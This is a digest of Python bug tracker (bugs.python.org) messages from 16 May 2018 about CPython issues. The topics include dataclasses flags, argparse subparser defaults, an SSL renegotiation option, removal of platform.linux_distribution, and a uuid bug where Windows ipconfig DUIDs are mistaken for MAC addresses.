(TaoQingyun) Date: Wed, 16 May 2018 13:21:21 +0000 Subject: [issue33538] Remove useless check in subprocess Message-ID: <1526476881.16.0.682650639539.issue33538@psf.upfronthosting.co.za> New submission from TaoQingyun <845767657 at qq.com>: diff --git a/Lib/subprocess.py b/Lib/subprocess.py index bafb501fcf..4a0bb33978 100644 --- a/Lib/subprocess.py +++ b/Lib/subprocess.py @@ -766,7 +766,7 @@ class Popen(object): ResourceWarning, source=self) # In case the child hasn't been waited on, check if it's done. self._internal_poll(_deadstate=_maxsize) - if self.returncode is None and _active is not None: + if self.returncode is None: # Child is still running, keep us alive until we can wait on it. _active.append(self) the `_active` is initialized with [] at the beginning of the module. ---------- components: Library (Lib) messages: 316804 nosy: qingyunha priority: normal severity: normal status: open title: Remove useless check in subprocess versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 09:28:30 2018 From: report at bugs.python.org (Petr Viktorin) Date: Wed, 16 May 2018 13:28:30 +0000 Subject: [issue32414] PyCapsule_Import fails when name is in the form 'package.module.capsule' In-Reply-To: <1514022429.41.0.213398074469.issue32414@psf.upfronthosting.co.za> Message-ID: <1526477310.85.0.682650639539.issue32414@psf.upfronthosting.co.za> Petr Viktorin added the comment: Is "package.module:namespace.attribute" worth supporting? I guess it isn't, at least for now. So Serhyi's patch will work. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 09:35:17 2018 From: report at bugs.python.org (Petr Viktorin) Date: Wed, 16 May 2018 13:35:17 +0000 Subject: [issue33537] Help on importlib.resources outputs the builtin open description In-Reply-To: <1526473768.61.0.682650639539.issue33537@psf.upfronthosting.co.za> Message-ID: <1526477717.32.0.682650639539.issue33537@psf.upfronthosting.co.za> Change by Petr Viktorin : ---------- nosy: +barry _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 09:42:42 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 16 May 2018 13:42:42 +0000 Subject: [issue33538] Remove useless check in subprocess In-Reply-To: <1526476881.16.0.682650639539.issue33538@psf.upfronthosting.co.za> Message-ID: <1526478162.28.0.682650639539.issue33538@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: It is reset to None at the interpreter shutdown stage. This check was added intentionally. ---------- nosy: +serhiy.storchaka resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 09:53:53 2018 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Wed, 16 May 2018 13:53:53 +0000 Subject: [issue33503] use pypi.org instead of pypi.python.org In-Reply-To: <1526410718.37.0.682650639539.issue33503@psf.upfronthosting.co.za> Message-ID: <1526478833.35.0.682650639539.issue33503@psf.upfronthosting.co.za> Change by St?phane Wirtel : ---------- pull_requests: +6573 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 10:03:31 2018 From: report at bugs.python.org (Wolfgang Maier) Date: Wed, 16 May 2018 14:03:31 +0000 Subject: [issue33109] argparse: make new 'required' argument to add_subparsers default to False instead of True In-Reply-To: <1521553319.23.0.467229070634.issue33109@psf.upfronthosting.co.za> Message-ID: <1526479411.43.0.682650639539.issue33109@psf.upfronthosting.co.za> Wolfgang Maier added the comment: Try to think of it this way: By choosing a default of True, every new project with subparsers that aims for Python <3.7 compatibility will have to take some measures (either overwrite the default or special-case 3.3-3.6). So no matter whether this is the "least surprising" choice, it is an inconvenient one that makes the default almost useless for years to come. In the long term, when support for Python<=3.6 is finally not important anymore, you would get a slightly more consistent API (though I never thought of a subparser as a regular positional argument before this issue), but the price for it seems too high to me. Since backwards compatibility is easy to restore by overwriting the default, I can certainly live with the choice of True, but I think it's not the best one could get out of this new and useful keyword. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 10:05:48 2018 From: report at bugs.python.org (Petr Viktorin) Date: Wed, 16 May 2018 14:05:48 +0000 Subject: [issue33503] use pypi.org instead of pypi.python.org In-Reply-To: <1526410718.37.0.682650639539.issue33503@psf.upfronthosting.co.za> Message-ID: <1526479548.91.0.682650639539.issue33503@psf.upfronthosting.co.za> Petr Viktorin added the comment: New changeset 51b2f6d3a3d6433b832f30d03382653f92a31cdf by Petr Viktorin (Miss Islington (bot)) in branch '3.7': bpo-33503: Fix the broken pypi link in the source and the documentation (GH-6814) (GH-6872) https://github.com/python/cpython/commit/51b2f6d3a3d6433b832f30d03382653f92a31cdf ---------- nosy: +petr.viktorin _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 10:08:25 2018 From: report at bugs.python.org (Petr Viktorin) Date: Wed, 16 May 2018 14:08:25 +0000 Subject: [issue33503] use pypi.org instead of pypi.python.org In-Reply-To: <1526410718.37.0.682650639539.issue33503@psf.upfronthosting.co.za> Message-ID: <1526479705.77.0.682650639539.issue33503@psf.upfronthosting.co.za> Petr Viktorin added the comment: New changeset e4cd12d3d338e691ab0c12a2f2f90422eee04bda by Petr Viktorin (St?phane Wirtel) in branch '3.6': [3.6] bpo-33503: Fix the broken pypi link in the source and the documentation (GH-6814) (GH-6885) https://github.com/python/cpython/commit/e4cd12d3d338e691ab0c12a2f2f90422eee04bda ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 10:19:20 2018 From: report at bugs.python.org (Eric V. Smith) Date: Wed, 16 May 2018 14:19:20 +0000 Subject: [issue33536] dataclasses.make_dataclass does not validate fields for being valid identifiers In-Reply-To: <1526476551.58.0.682650639539.issue33536@psf.upfronthosting.co.za> Message-ID: <1526480360.51.0.682650639539.issue33536@psf.upfronthosting.co.za> Change by Eric V. Smith : ---------- keywords: +patch pull_requests: +6574 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 10:22:53 2018 From: report at bugs.python.org (Terry Thurk) Date: Wed, 16 May 2018 14:22:53 +0000 Subject: [issue29412] IndexError thrown on email.message.Message.get In-Reply-To: <1485957201.62.0.708721670813.issue29412@psf.upfronthosting.co.za> Message-ID: <1526480573.32.0.682650639539.issue29412@psf.upfronthosting.co.za> Change by Terry Thurk : ---------- pull_requests: +6575 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 10:26:22 2018 From: report at bugs.python.org (Christian Heimes) Date: Wed, 16 May 2018 14:26:22 +0000 Subject: [issue32257] Support Disabling Renegotiation for SSLContext In-Reply-To: <1512801503.1.0.213398074469.issue32257@psf.upfronthosting.co.za> Message-ID: <1526480782.33.0.682650639539.issue32257@psf.upfronthosting.co.za> Christian Heimes added the comment: New changeset e2db6ad1d96ca3e8bd29178f7093785c5d550bb7 by Christian Heimes (Miss Islington (bot)) in branch '3.7': [3.7] bpo-32257: Add ssl.OP_NO_RENEGOTIATION (GH-5904) (#6877) https://github.com/python/cpython/commit/e2db6ad1d96ca3e8bd29178f7093785c5d550bb7 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 10:29:07 2018 From: report at bugs.python.org (Terry Thurk) Date: Wed, 16 May 2018 14:29:07 +0000 Subject: [issue29412] IndexError thrown on email.message.Message.get In-Reply-To: <1485957201.62.0.708721670813.issue29412@psf.upfronthosting.co.za> Message-ID: <1526480947.7.0.682650639539.issue29412@psf.upfronthosting.co.za> Change by Terry Thurk : ---------- pull_requests: -6509 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 10:52:15 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 16 May 2018 14:52:15 +0000 Subject: [issue21475] Support the Sitemap extension in robotparser In-Reply-To: <1399858557.27.0.633505879036.issue21475@psf.upfronthosting.co.za> Message-ID: <1526482335.11.0.682650639539.issue21475@psf.upfronthosting.co.za> Ned Deily added the comment: New changeset 5db5c0669e624767375593cc1a01f32092c91c58 by Ned Deily (Christopher Beacham) in branch 'master': bpo-21475: Support the Sitemap extension in robotparser (GH-6883) https://github.com/python/cpython/commit/5db5c0669e624767375593cc1a01f32092c91c58 ---------- nosy: +ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 10:53:13 2018 From: report at bugs.python.org (Barry A. Warsaw) Date: Wed, 16 May 2018 14:53:13 +0000 Subject: [issue33539] Remove `init` flag from @dataclass? Message-ID: <1526482393.81.0.682650639539.issue33539@psf.upfronthosting.co.za> New submission from Barry A. Warsaw : In reading over the new dataclasses documentation, I'm unsure what the `init` flag is used for, given that: * If you already have a __init__(), then dataclasses won't add one * If you don't have a __init__(), why wouldn't you want dataclasses to add one? Without that, how do your attributes get initialized? If there is a valid use case for `init`, I'm happy to add it to the documentation. If there isn't, can we call YAGNI and remove the flag? I'm mildly of the same opinion with `repr` but I can see some value in wanting to defer to object.__repr__(). OTOH, it should be pretty easy to just write: @dataclass class Foo: def __repr__(self): return super.__repr__() ---------- assignee: eric.smith messages: 316812 nosy: barry, eric.smith, gvanrossum priority: normal severity: normal status: open title: Remove `init` flag from @dataclass? versions: Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 10:54:05 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 16 May 2018 14:54:05 +0000 Subject: [issue21475] Support the Sitemap extension in robotparser In-Reply-To: <1399858557.27.0.633505879036.issue21475@psf.upfronthosting.co.za> Message-ID: <1526482445.91.0.682650639539.issue21475@psf.upfronthosting.co.za> Ned Deily added the comment: Thanks for the patch, Peter, and thanks for the PR and test, Lady Red! Merged for release in 3.8.0. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 10:57:41 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 16 May 2018 14:57:41 +0000 Subject: [issue33503] use pypi.org instead of pypi.python.org In-Reply-To: <1526410718.37.0.682650639539.issue33503@psf.upfronthosting.co.za> Message-ID: <1526482661.61.0.682650639539.issue33503@psf.upfronthosting.co.za> Ned Deily added the comment: New changeset ad65d09fd02512b2ccf500f6c11063f705c9cd28 by Ned Deily (St?phane Wirtel) in branch '2.7': [2.7] bpo-33503: Fix the broken pypi link in the source and the documentation (GH-6814). (GH-6905) https://github.com/python/cpython/commit/ad65d09fd02512b2ccf500f6c11063f705c9cd28 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 11:02:54 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 16 May 2018 15:02:54 +0000 Subject: [issue33503] use pypi.org instead of pypi.python.org In-Reply-To: <1526410718.37.0.682650639539.issue33503@psf.upfronthosting.co.za> Message-ID: <1526482974.12.0.682650639539.issue33503@psf.upfronthosting.co.za> Ned Deily added the comment: Thanks, St?phane! ---------- assignee: -> docs at python components: +Documentation nosy: +docs at python resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 2.7, Python 3.6, Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 11:10:27 2018 From: report at bugs.python.org (Barry A. Warsaw) Date: Wed, 16 May 2018 15:10:27 +0000 Subject: [issue33539] Remove `init` flag from @dataclass? In-Reply-To: <1526482393.81.0.682650639539.issue33539@psf.upfronthosting.co.za> Message-ID: <1526483427.87.0.682650639539.issue33539@psf.upfronthosting.co.za> Barry A. Warsaw added the comment: Make that `return super().__init__()` of course. I can haz (editable) GitHub issues! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 11:15:18 2018 From: report at bugs.python.org (Brett Cannon) Date: Wed, 16 May 2018 15:15:18 +0000 Subject: [issue33522] Enable CI builds on Visual Studio Team Services In-Reply-To: <1526400954.34.0.682650639539.issue33522@psf.upfronthosting.co.za> Message-ID: <1526483718.53.0.682650639539.issue33522@psf.upfronthosting.co.za> Brett Cannon added the comment: https://www.visualstudio.com/team-services/ It's Microsoft's GitHub hosting, issue tracking, and CI/CD platform. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 11:23:51 2018 From: report at bugs.python.org (Matthias Bussonnier) Date: Wed, 16 May 2018 15:23:51 +0000 Subject: [issue33487] BZ2File(buffering=None) does not emit deprecation warning, deprecation version not documented. In-Reply-To: <1526247744.31.0.682650639539.issue33487@psf.upfronthosting.co.za> Message-ID: <1526484231.18.0.682650639539.issue33487@psf.upfronthosting.co.za> Matthias Bussonnier added the comment: > Actually it is ignored since 3.0. My bad, I have likely misread the history. PR updated. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 11:31:32 2018 From: report at bugs.python.org (Eric V. Smith) Date: Wed, 16 May 2018 15:31:32 +0000 Subject: [issue33536] dataclasses.make_dataclass does not validate fields for being valid identifiers In-Reply-To: <1526476551.58.0.682650639539.issue33536@psf.upfronthosting.co.za> Message-ID: <1526484692.33.0.682650639539.issue33536@psf.upfronthosting.co.za> Eric V. Smith added the comment: New changeset 4e81296b1874829912c687eba4d39361ab51e145 by Eric V. Smith in branch 'master': bpo-33536: Validate make_dataclass() field names. (GH-6906) https://github.com/python/cpython/commit/4e81296b1874829912c687eba4d39361ab51e145 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 11:32:44 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 16 May 2018 15:32:44 +0000 Subject: [issue33536] dataclasses.make_dataclass does not validate fields for being valid identifiers In-Reply-To: <1526476551.58.0.682650639539.issue33536@psf.upfronthosting.co.za> Message-ID: <1526484764.66.0.682650639539.issue33536@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6576 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 11:34:49 2018 From: report at bugs.python.org (Gregory P. Smith) Date: Wed, 16 May 2018 15:34:49 +0000 Subject: [issue24318] Better documentaiton of profile-opt (and release builds in general?) In-Reply-To: <1432830865.51.0.995414707141.issue24318@psf.upfronthosting.co.za> Message-ID: <1526484889.47.0.682650639539.issue24318@psf.upfronthosting.co.za> Gregory P. Smith added the comment: New changeset 93f9a8a5afb58b1d2e4f27bb46d3d4e0fa8c08f0 by Gregory P. Smith in branch 'master': bpo-24318: Rewrite the README PGO section. (#6863) https://github.com/python/cpython/commit/93f9a8a5afb58b1d2e4f27bb46d3d4e0fa8c08f0 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 11:35:57 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 16 May 2018 15:35:57 +0000 Subject: [issue24318] Better documentaiton of profile-opt (and release builds in general?) In-Reply-To: <1432830865.51.0.995414707141.issue24318@psf.upfronthosting.co.za> Message-ID: <1526484957.28.0.682650639539.issue24318@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6577 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 11:38:17 2018 From: report at bugs.python.org (Gregory P. Smith) Date: Wed, 16 May 2018 15:38:17 +0000 Subject: [issue24318] Better documentaiton of profile-opt (and release builds in general?) In-Reply-To: <1432830865.51.0.995414707141.issue24318@psf.upfronthosting.co.za> Message-ID: <1526485097.94.0.682650639539.issue24318@psf.upfronthosting.co.za> Change by Gregory P. Smith : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 11:42:03 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 16 May 2018 15:42:03 +0000 Subject: [issue32257] Support Disabling Renegotiation for SSLContext In-Reply-To: <1512801503.1.0.213398074469.issue32257@psf.upfronthosting.co.za> Message-ID: <1526485323.6.0.682650639539.issue32257@psf.upfronthosting.co.za> Ned Deily added the comment: Thanks, Christian! Merged for 3.7.0 and 3.8.0. ---------- priority: deferred blocker -> resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 11:43:16 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 16 May 2018 15:43:16 +0000 Subject: [issue32492] C Fast path for namedtuple's property/itemgetter pair In-Reply-To: <1515089143.43.0.467229070634.issue32492@psf.upfronthosting.co.za> Message-ID: <1526485396.13.0.682650639539.issue32492@psf.upfronthosting.co.za> Ned Deily added the comment: Deferred to 3.8 ---------- priority: deferred blocker -> versions: -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 11:47:53 2018 From: report at bugs.python.org (Brett Cannon) Date: Wed, 16 May 2018 15:47:53 +0000 Subject: [issue32414] PyCapsule_Import fails when name is in the form 'package.module.capsule' In-Reply-To: <1514022429.41.0.213398074469.issue32414@psf.upfronthosting.co.za> Message-ID: <1526485673.93.0.682650639539.issue32414@psf.upfronthosting.co.za> Change by Brett Cannon : ---------- nosy: -brett.cannon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 11:51:24 2018 From: report at bugs.python.org (Petr Viktorin) Date: Wed, 16 May 2018 15:51:24 +0000 Subject: [issue28167] remove platform.linux_distribution() In-Reply-To: <1473933007.75.0.131793274646.issue28167@psf.upfronthosting.co.za> Message-ID: <1526485884.09.0.682650639539.issue28167@psf.upfronthosting.co.za> Petr Viktorin added the comment: New changeset 8b94b41ab7b12f745dea744e8940631318816935 by Petr Viktorin in branch 'master': bpo-28167: Remove platform.linux_distribution (GH-6871) https://github.com/python/cpython/commit/8b94b41ab7b12f745dea744e8940631318816935 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 11:54:53 2018 From: report at bugs.python.org (Petr Viktorin) Date: Wed, 16 May 2018 15:54:53 +0000 Subject: [issue28167] remove platform.linux_distribution() In-Reply-To: <1473933007.75.0.131793274646.issue28167@psf.upfronthosting.co.za> Message-ID: <1526486093.31.0.682650639539.issue28167@psf.upfronthosting.co.za> Petr Viktorin added the comment: platform.linux_distribution is removed from Python 3.8. Thanks for everyone involved! If there are any complaints or other fallout you don't want to deal with, feel free to point people to me :) ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 11:59:05 2018 From: report at bugs.python.org (Licht Takeuchi) Date: Wed, 16 May 2018 15:59:05 +0000 Subject: [issue33525] os.spawnvpe() returns error code 127 instead of raising when env argument is invalid. In-Reply-To: <1526411661.08.0.682650639539.issue33525@psf.upfronthosting.co.za> Message-ID: <1526486345.95.0.682650639539.issue33525@psf.upfronthosting.co.za> Change by Licht Takeuchi : ---------- keywords: +patch pull_requests: +6578 stage: needs patch -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 11:59:33 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 16 May 2018 15:59:33 +0000 Subject: [issue33540] socketserver: Add an opt-in option to get Python 3.6 behaviour on server_close() Message-ID: <1526486373.61.0.682650639539.issue33540@psf.upfronthosting.co.za> New submission from STINNER Victor : bpo-31151 changed ForkingMixIn and bpo-31233 changed ThreadingMixIn to block on server_closer() for processes/threads. I propose to add a new opt-in option to get the Python 3.6 behaviour. The old behaviour was wrong, but I expect that some people rely on it. ---------- components: Library (Lib) messages: 316825 nosy: vstinner priority: normal severity: normal status: open title: socketserver: Add an opt-in option to get Python 3.6 behaviour on server_close() versions: Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 12:02:42 2018 From: report at bugs.python.org (Eric V. Smith) Date: Wed, 16 May 2018 16:02:42 +0000 Subject: [issue33539] Remove `init` flag from @dataclass? In-Reply-To: <1526482393.81.0.682650639539.issue33539@psf.upfronthosting.co.za> Message-ID: <1526486562.75.0.682650639539.issue33539@psf.upfronthosting.co.za> Eric V. Smith added the comment: The behavior used to be that we'd raise an error if you tried to overwrite a dunder method. Then we decided that the existence of a dunder method meant you didn't want it overwritten, so now we don't need to explicitly set a flag to False in that case. However, we did not go back and see which of the flags still make sense. I can't think of a reason why anyone would use the `init` parameter to @dataclass. It's a little late in the 3.7 release cycle to remove it, so maybe we can decide to deprecate it in 3.8? Although if there's clearly no reason for it to exist, I could be talked in to removing it. We should probably go through every flag and decide about it individually. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 12:05:33 2018 From: report at bugs.python.org (Mario Corchero) Date: Wed, 16 May 2018 16:05:33 +0000 Subject: [issue33541] Remove private and apparently unused __pad function Message-ID: <1526486733.92.0.682650639539.issue33541@psf.upfronthosting.co.za> New submission from Mario Corchero : When checking on ways to improve coverage of datetime related functions I found this function that seems not to be used anyware. It is private and mangled, should be safe to remove. Creating the issue as requested in the PR: https://github.com/python/cpython/pull/4377 ---------- components: Library (Lib) messages: 316827 nosy: mariocj89 priority: normal severity: normal status: open title: Remove private and apparently unused __pad function versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 12:06:15 2018 From: report at bugs.python.org (Mario Corchero) Date: Wed, 16 May 2018 16:06:15 +0000 Subject: [issue33541] Remove private and apparently unused __pad function In-Reply-To: <1526486733.92.0.682650639539.issue33541@psf.upfronthosting.co.za> Message-ID: <1526486775.25.0.682650639539.issue33541@psf.upfronthosting.co.za> Change by Mario Corchero : ---------- keywords: +patch pull_requests: +6579 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 12:07:10 2018 From: report at bugs.python.org (Barry A. Warsaw) Date: Wed, 16 May 2018 16:07:10 +0000 Subject: [issue33539] Remove `init` flag from @dataclass? In-Reply-To: <1526486562.75.0.682650639539.issue33539@psf.upfronthosting.co.za> Message-ID: <2837F1EE-2CA8-4E97-A82D-0C0498389D5E@python.org> Barry A. Warsaw added the comment: On May 16, 2018, at 12:02, Eric V. Smith wrote: > > It's a little late in the 3.7 release cycle to remove it, so maybe we can decide to deprecate it in 3.8? Although if there's clearly no reason for it to exist, I could be talked in to removing it. I think we should get an exemption and just remove it. There?s no reason to incur such tech-debt right off the bat. > We should probably go through every flag and decide about it individually. +1 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 12:08:01 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 16 May 2018 16:08:01 +0000 Subject: [issue33541] Remove private and apparently unused __pad function In-Reply-To: <1526486733.92.0.682650639539.issue33541@psf.upfronthosting.co.za> Message-ID: <1526486881.34.0.682650639539.issue33541@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- assignee: -> belopolsky nosy: +belopolsky _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 12:09:31 2018 From: report at bugs.python.org (Barry A. Warsaw) Date: Wed, 16 May 2018 16:09:31 +0000 Subject: [issue33539] Remove `init` flag from @dataclass? In-Reply-To: <1526482393.81.0.682650639539.issue33539@psf.upfronthosting.co.za> Message-ID: <1526486971.62.0.682650639539.issue33539@psf.upfronthosting.co.za> Barry A. Warsaw added the comment: +ned.deily for the 3.7 exemption. ---------- nosy: +ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 12:16:01 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 16 May 2018 16:16:01 +0000 Subject: [issue33539] Remove `init` flag from @dataclass? In-Reply-To: <1526482393.81.0.682650639539.issue33539@psf.upfronthosting.co.za> Message-ID: <1526487361.73.0.682650639539.issue33539@psf.upfronthosting.co.za> Ned Deily added the comment: If we agree that we don't need it, the time to do it is now, before 3.7.0 releases. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 12:20:56 2018 From: report at bugs.python.org (Zvi Effron) Date: Wed, 16 May 2018 16:20:56 +0000 Subject: [issue33542] _ipconfig_getnode incorrectly selects a DUID as a MAC address Message-ID: <1526487656.13.0.682650639539.issue33542@psf.upfronthosting.co.za> New submission from Zvi Effron : The function _ipconfig_getnode() in the uuid module can incorrectly pick up an IPv6 DUID instead of a MAC address due to not validating an exact match for the regular expression. The following output from `ipconfig /all` on my machine can be used to illustrate the problem: ``` C:\Users\viz_s>ipconfig /all Windows IP Configuration Host Name . . . . . . . . . . . . : DESKTOP-UOHALF9 Primary Dns Suffix . . . . . . . : Node Type . . . . . . . . . . . . : Hybrid IP Routing Enabled. . . . . . . . : No WINS Proxy Enabled. . . . . . . . : No Ethernet adapter vEthernet (Default Switch): Connection-specific DNS Suffix . : Description . . . . . . . . . . . : Hyper-V Virtual Ethernet Adapter Physical Address. . . . . . . . . : 02-15-0B-EF-A2-34 DHCP Enabled. . . . . . . . . . . : Yes Autoconfiguration Enabled . . . . : Yes Link-local IPv6 Address . . . . . : fe80::d8b5:2fbd:4d82:2e95%12(Preferred) IPv4 Address. . . . . . . . . . . : 192.168.125.17(Preferred) Subnet Mask . . . . . . . . . . . : 255.255.255.240 Default Gateway . . . . . . . . . : DHCPv6 IAID . . . . . . . . . . . : 452990301 DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-1F-5A-B1-27-98-5F-D3-C5-71-45 DNS Servers . . . . . . . . . . . : fec0:0:0:ffff::1%1 fec0:0:0:ffff::2%1 fec0:0:0:ffff::3%1 NetBIOS over Tcpip. . . . . . . . : Disabled Ethernet adapter vEthernet (DockerNAT): Connection-specific DNS Suffix . : Description . . . . . . . . . . . : Hyper-V Virtual Ethernet Adapter #2 Physical Address. . . . . . . . . : 00-15-5D-00-0D-1C DHCP Enabled. . . . . . . . . . . : No Autoconfiguration Enabled . . . . : Yes Link-local IPv6 Address . . . . . : fe80::a8b0:4970:fe5c:7ad8%20(Preferred) IPv4 Address. . . . . . . . . . . : 10.0.75.1(Preferred) Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : DNS Servers . . . . . . . . . . . : fec0:0:0:ffff::1%1 fec0:0:0:ffff::2%1 fec0:0:0:ffff::3%1 NetBIOS over Tcpip. . . . . . . . : Enabled Ethernet adapter Npcap Loopback Adapter: Connection-specific DNS Suffix . : Description . . . . . . . . . . . : Npcap Loopback Adapter Physical Address. . . . . . . . . : 02-00-4C-4F-4F-50 DHCP Enabled. . . . . . . . . . . : Yes Autoconfiguration Enabled . . . . : Yes Link-local IPv6 Address . . . . . : fe80::c07f:d604:86b:87e0%26(Preferred) Autoconfiguration IPv4 Address. . : 169.254.135.224(Preferred) Subnet Mask . . . . . . . . . . . : 255.255.0.0 Default Gateway . . . . . . . . . : DHCPv6 IAID . . . . . . . . . . . : 771883084 DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-1F-5A-B1-27-98-5F-D3-C5-71-45 DNS Servers . . . . . . . . . . . : fec0:0:0:ffff::1%1 fec0:0:0:ffff::2%1 fec0:0:0:ffff::3%1 NetBIOS over Tcpip. . . . . . . . : Enabled Wireless LAN adapter Local Area Connection* 2: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : Description . . . . . . . . . . . : Microsoft Wi-Fi Direct Virtual Adapter Physical Address. . . . . . . . . : 9A-5F-D3-C5-70-44 DHCP Enabled. . . . . . . . . . . : Yes Autoconfiguration Enabled . . . . : Yes Wireless LAN adapter Local Area Connection* 12: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : Description . . . . . . . . . . . : Microsoft Wi-Fi Direct Virtual Adapter #2 Physical Address. . . . . . . . . : 9A-5F-D3-C5-75-44 DHCP Enabled. . . . . . . . . . . : Yes Autoconfiguration Enabled . . . . : Yes Wireless LAN adapter Wi-Fi: Connection-specific DNS Suffix . : Description . . . . . . . . . . . : Marvell AVASTAR Wireless-AC Network Controller Physical Address. . . . . . . . . : 98-5F-D3-C5-71-45 DHCP Enabled. . . . . . . . . . . : Yes Autoconfiguration Enabled . . . . : Yes Link-local IPv6 Address . . . . . : fe80::f183:815e:4914:dfa%21(Preferred) IPv4 Address. . . . . . . . . . . : 100.69.161.39(Preferred) Subnet Mask . . . . . . . . . . . : 255.255.0.0 Lease Obtained. . . . . . . . . . : Wednesday, May 16, 2018 8:51:32 AM Lease Expires . . . . . . . . . . : Wednesday, May 16, 2018 9:51:31 AM Default Gateway . . . . . . . . . : 100.69.0.5 DHCP Server . . . . . . . . . . . : 100.69.0.6 DHCPv6 IAID . . . . . . . . . . . : 144203731 DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-1F-5A-B1-27-98-5F-D3-C5-71-45 DNS Servers . . . . . . . . . . . : 100.69.0.5 NetBIOS over Tcpip. . . . . . . . : Enabled ``` ---------- components: Library (Lib), Windows messages: 316831 nosy: paul.moore, steve.dower, tim.golden, zach.ware, zeffron priority: normal severity: normal status: open title: _ipconfig_getnode incorrectly selects a DUID as a MAC address type: behavior versions: Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 12:21:52 2018 From: report at bugs.python.org (Barry A. Warsaw) Date: Wed, 16 May 2018 16:21:52 +0000 Subject: [issue33539] Remove `init` flag from @dataclass? In-Reply-To: <1526482393.81.0.682650639539.issue33539@psf.upfronthosting.co.za> Message-ID: <1526487712.77.0.682650639539.issue33539@psf.upfronthosting.co.za> Change by Barry A. Warsaw : ---------- priority: normal -> release blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 12:24:58 2018 From: report at bugs.python.org (Brett Cannon) Date: Wed, 16 May 2018 16:24:58 +0000 Subject: [issue33451] Start pyc file lock the file In-Reply-To: <1525898638.9.0.682650639539.issue33451@psf.upfronthosting.co.za> Message-ID: <1526487898.57.0.682650639539.issue33451@psf.upfronthosting.co.za> Brett Cannon added the comment: There's no specific reason as to why that would happen as no files are kept open after importing is finished. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 12:26:50 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 16 May 2018 16:26:50 +0000 Subject: [issue33540] socketserver: Add an opt-in option to get Python 3.6 behaviour on server_close() In-Reply-To: <1526486373.61.0.682650639539.issue33540@psf.upfronthosting.co.za> 